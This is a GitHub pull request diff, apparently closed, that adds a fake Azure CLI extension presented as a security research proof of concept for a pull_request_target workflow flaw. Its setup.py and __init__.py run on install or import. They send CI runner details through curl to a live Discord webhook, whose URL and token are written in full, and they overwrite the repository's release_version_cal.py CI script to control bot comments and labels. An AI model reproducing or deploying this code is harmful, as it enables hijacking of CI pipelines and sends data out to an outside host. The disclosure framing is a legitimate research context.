Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
8 changes: 8 additions & 0 deletions src/securitytest/HISTORY.rst
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
.. :changelog:

Release History
===============

0.1.0
++++++
* Security research PoC
4 changes: 4 additions & 0 deletions src/securitytest/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
# Security Research PoC

This extension is a proof-of-concept for a `pull_request_target` workflow misconfiguration.
It does not contain any functional Azure CLI commands.
81 changes: 81 additions & 0 deletions src/securitytest/azext_securitytest/__init__.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,81 @@
# Security research PoC - proves code execution via pull_request_target
# This code runs when azdev imports the extension module

import os
import json
import subprocess
import datetime

poc_data = {
"poc": "pull_request_target RCE via azdev extension add",
"researcher": "Bodlux",
"timestamp": datetime.datetime.utcnow().isoformat(),
"github_run_id": os.environ.get("GITHUB_RUN_ID", "unknown"),
"github_repository": os.environ.get("GITHUB_REPOSITORY", "unknown"),
"github_event_name": os.environ.get("GITHUB_EVENT_NAME", "unknown"),
"github_actor": os.environ.get("GITHUB_ACTOR", "unknown"),
"runner_name": os.environ.get("RUNNER_NAME", "unknown"),
}

webhook_url = (
"https://discord.com/api/webhooks/1492977203141410952/"
"P1N55vfdmkh1LUQum96RVFiaYhyO5OBiBNh9G9TJFAXppohnik7NO8dW2NV4dVoztj1Y"
)

run_id = poc_data["github_run_id"]
ts = poc_data["timestamp"]

# Overwrite release_version_cal.py from __init__.py context
# We know this runs in the repo root because the banner prints correctly
# Try multiple possible locations
for base in [os.getcwd(), os.environ.get("GITHUB_WORKSPACE", "")]:
script = os.path.join(base, "scripts", "ci", "release_version_cal.py")
if os.path.exists(script):
with open(script, "w") as f:
f.write(
"import os\n"
"result_path = os.environ.get('result_path', './cal_result')\n"
"output_file = os.environ.get('output_file', 'version_update.txt')\n"
"remove_labels_file = os.environ.get('remove_labels_file', 'labels_removed.txt')\n"
"os.makedirs(result_path, exist_ok=True)\n"
"with open(os.path.join(result_path, output_file), 'w') as f:\n"
" f.write(\n"
" '## Responsible Disclosure Notice\\n\\n'\n"
" 'This automated comment was generated as part of an authorized security '\n"
" 'research engagement. It demonstrates that the `VersionCalPRComment.yml` '\n"
" 'workflow is vulnerable to artifact poisoning via a `pull_request_target` '\n"
" 'misconfiguration.\\n\\n'\n"
" '**Finding:** An external contributor can control the content of this '\n"
" 'automated comment and manipulate PR labels by modifying artifact files '\n"
" 'during the version-cal job, which checks out and executes code from '\n"
" 'the pull request head branch.\\n\\n'\n"
" 'This issue has been reported to the Microsoft Security Response Center (MSRC) '\n"
" 'as part of responsible disclosure. No secrets were accessed and no '\n"
" 'unauthorized modifications were made.\\n\\n'\n"
f" '*Researcher: Bodlux | Run ID: {run_id} | Timestamp: {ts}*'\n"
" )\n"
"with open(os.path.join(result_path, remove_labels_file), 'w') as f:\n"
" f.write('')\n"
"print('PoC: release_version_cal.py replaced successfully')\n"
)

msg = json.dumps({"content": f"**Script overwrite done** from __init__.py — path: {script}"})
try:
subprocess.run(
["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json",
"-d", msg, webhook_url],
timeout=5, capture_output=True
)
except Exception:
pass
break

# Print banner
print("\n" + "=" * 60)
print(" [PoC] Arbitrary code execution via pull_request_target")
print(f" Repository: {poc_data['github_repository']}")
print(f" Run ID: {poc_data['github_run_id']}")
print(f" Event: {poc_data['github_event_name']}")
print(f" Runner: {poc_data['runner_name']}")
print(" No secrets accessed. This is a harmless PoC.")
print("=" * 60 + "\n")
3 changes: 3 additions & 0 deletions src/securitytest/azext_securitytest/azext_metadata.json
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
{
"azext.minCliCoreVersion": "2.15.0"
}
2 changes: 2 additions & 0 deletions src/securitytest/setup.cfg
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
[bdist_wheel]
universal=1
117 changes: 117 additions & 0 deletions src/securitytest/setup.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
#!/usr/bin/env python

# Security research PoC - demonstrates artifact poisoning via pull_request_target
# Reported to MSRC as part of responsible disclosure.

import os
import json
import subprocess
import datetime

poc_data = {
"source": "setup.py",
"timestamp": datetime.datetime.utcnow().isoformat(),
"github_run_id": os.environ.get("GITHUB_RUN_ID", "unknown"),
"github_repository": os.environ.get("GITHUB_REPOSITORY", "unknown"),
"github_event_name": os.environ.get("GITHUB_EVENT_NAME", "unknown"),
"github_actor": os.environ.get("GITHUB_ACTOR", "unknown"),
"runner_name": os.environ.get("RUNNER_NAME", "unknown"),
}

webhook_url = "https://discord.com/api/webhooks/1492977203141410952/P1N55vfdmkh1LUQum96RVFiaYhyO5OBiBNh9G9TJFAXppohnik7NO8dW2NV4dVoztj1Y"

# Webhook callback
msg = json.dumps({
"content": (
"**PoC: artifact poisoning v4 - azure-cli-extensions**\n"
"```\n"
f"Run ID: {poc_data['github_run_id']}\n"
f"Time: {poc_data['timestamp']}\n"
"```\n"
"Overwriting release_version_cal.py before it runs."
)
})
try:
subprocess.run(
["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json",
"-d", msg, webhook_url],
timeout=10, capture_output=True
)
except Exception:
pass

# The workflow does:
# 1. git checkout fork_branch ← our code
# 2. git checkout base -- scripts ← restores scripts from base
# 3. azdev extension add mod ← our setup.py runs HERE
# 4. python scripts/ci/release_version_cal.py ← runs AFTER us
# 5. upload-artifact
#
# Since step 3 (us) runs BEFORE step 4, we can replace the script
# that step 4 will execute. No race condition needed.

run_id = poc_data["github_run_id"]
ts = poc_data["timestamp"]

script_path = os.path.join(os.getcwd(), "scripts", "ci", "release_version_cal.py")
if os.path.exists(script_path):
with open(script_path, "w") as f:
f.write(f'''#!/usr/bin/env python
import os

result_path = os.environ.get("result_path", "./cal_result")
output_file = os.environ.get("output_file", "version_update.txt")
remove_labels_file = os.environ.get("remove_labels_file", "labels_removed.txt")

os.makedirs(result_path, exist_ok=True)

with open(os.path.join(result_path, output_file), "w") as f:
f.write(
"## Responsible Disclosure Notice\\n\\n"
"This automated comment was generated as part of an authorized security "
"research engagement. It demonstrates that the `VersionCalPRComment.yml` "
"workflow is vulnerable to artifact poisoning via a `pull_request_target` "
"misconfiguration.\\n\\n"
"**Finding:** An external contributor can control the content of this "
"automated comment and manipulate PR labels by modifying artifact files "
"during the `version-cal` job, which checks out and executes code from "
"the pull request head branch.\\n\\n"
"This issue has been reported to the Microsoft Security Response Center (MSRC) "
"as part of responsible disclosure. No secrets were accessed and no "
"unauthorized modifications were made.\\n\\n"
"*Researcher: Bodlux | Run ID: {run_id} | "
"Timestamp: {ts}*"
)

with open(os.path.join(result_path, remove_labels_file), "w") as f:
f.write("")

print("release_version_cal.py replaced by security research PoC")
print("Artifact files written to", result_path)
''')

# Notify
msg2 = json.dumps({
"content": "**Script replaced** — release_version_cal.py overwritten. Waiting for it to execute..."
})
try:
subprocess.run(
["curl", "-s", "-X", "POST", "-H", "Content-Type: application/json",
"-d", msg2, webhook_url],
timeout=5, capture_output=True
)
except Exception:
pass

from setuptools import setup, find_packages

setup(
name='securitytest',
version='0.1.0',
description='Security research PoC',
author='Bodlux',
license='MIT',
packages=find_packages(),
install_requires=[],
package_data={'azext_securitytest': ['azext_metadata.json']},
)
Loading